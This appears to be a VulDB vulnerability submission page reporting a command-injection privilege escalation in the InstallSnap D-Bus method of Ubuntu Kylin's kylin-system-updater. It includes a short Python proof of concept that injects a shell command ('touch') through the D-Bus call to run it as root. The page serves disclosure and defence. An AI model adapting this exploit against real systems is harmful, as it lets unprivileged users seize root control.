| タイトル | UbuntuKylin OS privilege escalation vulnerability |
|---|
| 説明 | Describe
There is a command injection vulnerability in the InstallSnap function in the update component (Kylin-system-updater) of the Ubuntu Kylin OS system. Any user can call the vulnerability, causing ordinary users to obtain root privileges through the vulnerability.
Hazard level
High
Affected version
Ubuntukylin:kylin-system-updater <= 1.4.20kord
POC&&EXP
ISO Download:
https://www.ubuntukylin.com/downloads/download.php?id=91
exp.py
```
import dbus
import os
payload = ';touch /InstallSnap.txt;'
bus=dbus.SystemBus()
xattr=bus.get_object('com.kylin.systemupgrade','/com/kylin/systemupgrade')
iface=dbus.Interface(xattr,dbus_interface='com.kylin.systemupgrade.interface')
prop=iface.InstallSnap("{}".format(payload))
print(prop)
os.system("ls -l /InstallSnap.txt")
``` |
|---|
| ソース | ⚠️ https://github.com/cn-lwj/vuldb/blob/master/kylin-system-updater_vuln.md |
|---|
| ユーザー | cn-lwj (UID 42196) |
|---|
| 送信 | 2023年03月03日 10:53 (4 年 ago) |
|---|
| モデレーション | 2023年03月08日 19:06 (5 days later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 222600 [kylin-system-updater 迄 1.4.20kord 上 Ubuntu Kylin Update InstallSnap 特権昇格] |
|---|
| ポイント | 20 |
|---|